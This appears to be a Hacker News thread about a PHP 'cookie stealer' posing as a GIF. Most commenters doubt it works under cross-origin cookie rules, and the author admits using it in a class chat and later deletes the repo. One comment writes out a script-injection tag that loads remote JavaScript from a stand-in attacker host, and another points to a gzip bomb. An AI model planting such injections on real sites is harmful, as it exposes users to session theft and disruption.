Show HN: A cookie stealer disguised as a GIF image | Hacker News Reader

Show HN: A cookie stealer disguised as a GIF image

github.com

7 pointsatum4718 comments

Has anyone looked at the code for this? It’s a joke (whether intended as one or not), it doesn’t really “steal” anything.

The image.php file creates and writes a json dump of the request made (where the cookie is). The stealing part is when you inject the code on random web site.

Except a browser doesn’t send cookies from one random domain to an “image” hosted on another domain, hence no “theft”. Cross origin cookie rules have been the same for eons.

Well, it worked for me. I was using Moodle in class and the teacher opened a chat so we can all discuss some project; I realized the chat accepts html and wrote this script. I hosted it on my website and it worked.

I call bullshit unless this class was 20 years ago.

Dude, look at this video:

https://youtu.be/KaEj_qZgiKY?t=181

The cookies from the image domain are the ones that will be sent, not the ones from the domain that the image is displayed on. Hence, doesn't work unless you can host your php on the targeted domain

Exactly. This is like a script kiddie in the early 2000s on IRC insisting “I can steal cookies” demonstrating it on his own website and not understanding that it means nothing.

If you can inject any HTML then you could put a <script src="//yoursite.com/hacks.js"></script> tag in there and make arbitrary requests on the user's computer, fingerprint their browser, and much, much more.

If the site you're injecting HTML into has some crazy HTTP headers set (Access-Control-Allow-Origin: *) then yes you can:

https://stackoverflow.com/a/25861695/235908

By default you cannot.

If the site you're testing with allows arbitrary image embeds, maybe they're that crazy, since even without stealing cookies you can still gzip bomb:

https://bomb.codes

Do you think this is so simple yet you've uncovered something nobody noticed before? The odds are that you're misunderstanding it.

take a look at this video: https://youtu.be/Yfsmc0b8o78

One of the oldest trick in blackhat ?

it's a old project. I've been upload all the tools I ever made to git.

If you expect anyone to evaluate your github stuff and care about the result, then I suggest adjusting your commit dates to reflect reality. https://stackoverflow.com/q/454734/fnord explains how to.

Well, it's done. I removed the repo. I spent my entire day yesterday arguing with people if this works or don't. I found some links proving my point, but I'm not a expert on the matter, so I give up.

Here's the link about the browser sending cookies with request to external image:

https://bugzilla.mozilla.org/show_bug.cgi?id=375238

Heres the link about the video using a similar technique:

https://youtu.be/KaEj_qZgiKY?t=160

The code is old, I'm not posting new things, I'm posting things I've been doing since I started college. It's been recent since I decided to put all my codes and experiments on git hub. This one in particular caused more headache then anything, so I took it down.

I have decided to delete this repo. I'm not an expert on security and how each browser deals with session cookies. Sorry about any inconvenience.

Reply on news.ycombinator.com